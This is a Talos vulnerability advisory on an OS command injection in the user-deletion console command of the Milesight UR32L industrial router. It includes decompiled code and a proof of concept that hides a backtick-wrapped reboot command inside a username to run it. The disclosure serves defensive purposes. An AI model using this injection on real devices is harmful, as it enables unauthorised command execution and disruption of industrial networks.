Talos Vulnerability Report

SUMMARY

An OS command injection vulnerability exists in the ys_thirdparty user_delete functionality of Milesight UR32L v32.3.0.5. A specially crafted network packet can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

PRODUCT URLS

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

DETAILS

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the router console. This is an interactive shell to modify the router settings.

Here is the prompt after the login:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> 

The service has several functionalities. The number of functionalities depends on the user privileges. The admin user can access the enable command, which will allow access to a high privilege command menu:

ROUTER> enable 
ROUTER# 
  cellular-gps-dev
  clear             Reset functions
  configure         Configuration from vty interface
  copy              Copy from one file to another
  core              Set debug level
  debug             Debugging functions (see also 'undebug')
  disable           Turn off privileged mode command
  enable            Turn on privileged mode command
  end               End current mode and change to enable mode
  exit              Exit current mode and down to previous mode
  list              Print command list
  modbus-master
  no                Negate a command or set its defaults
  ping              Send echo messages
  quit              Exit current mode and down to previous mode
  reload            Halt and perform a cold restart
  show              Show running system information
  ssh               Open an ssh connection
  telnet            Open a telnet connection
  terminal          Set terminal line parameters
  test              Test
  traceroute        Trace route to destination
  undebug           Disable debugging functions (see also 'debug')
  write             Write running configuration to memory, network, or terminal

Issuing the configure terminal command makes it possible to access the user_permission command. This allows access to a menu where it is possible to manage user-related information:

ROUTER(user-permission)# 
  end        End current mode and change to enable mode
  exit       Exit current mode and down to previous mode
  list       Print command list
  no         remove the user
  show       show the user information
  superuser  set superuser name or password
  user       check the user password

The no user <username> command removes the user associated with the issued username. This command is manage by the ys_thirdparty’s user_delete function:

undefined4 user_delete(undefined4 param_1,undefined4 param_2,undefined4 param_3,char **argv)

{
  [... variable declaration ...]

  username = *argv;
  iVar1 = strcmp(username,superuser);
  if (iVar1 == 0) {
    username = "[failed]:can not remove superuser!\n";
  }
  else {
    iVar1 = delete_user_real(username,0);
    [...]
  }
  [...]
}

If the username provided is not the superuser, this function will call the delete_user_real function:

uint delete_user_real(char *username,uint is_delete_super_user)

{
  [... variable declaration ...]

  [...]
  is_superuser = strcmp(username,superuser);
  if ((is_superuser | is_delete_super_user) == 0) {
    tmp_var = 1;
  }
  else {
    [...]
    tmp_var = check_system_user(username);
    [...]
  }
  [...]
}

This one, after a check about the superuser, could call the check_system_user with the provided username:

void check_system_user(char *user)

{
  [... variable declaration ...]

  iVar1 = __stack_chk_guard;
  popen_command._0_4_ = 0;
  memset(popen_command + 4,0,0xfc);
  snprintf(popen_command,0x100,"%s chk 0 %s","/usr/sbin/userpermit.sh",user);                           [1]
  __stream = popen(popen_command,"r");                                                                  [2]
  [...]
}

This function will compose, at [1], the "/usr/sbin/userpermit.sh chk 0 <username>" string and use it as argument for the popen function at [2]. From the user_delete function until the popen call at [2] there is no check for the username provided, so this can lead to a command injection vulnerability at [2].

Exploit Proof of Concept

Following a POC triggering a reboot of the system through the command injection exposes above:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> enable
ROUTER# configure terminal
ROUTER(config)# user_permission
ROUTER(user-permission)# no user `reboot`
ROUTER(user-permission)# Connection closed by foreign host.

The Connection closed by foreign host. is the consequence of the device rebooting

VENDOR RESPONSE

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html

TIMELINE

2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release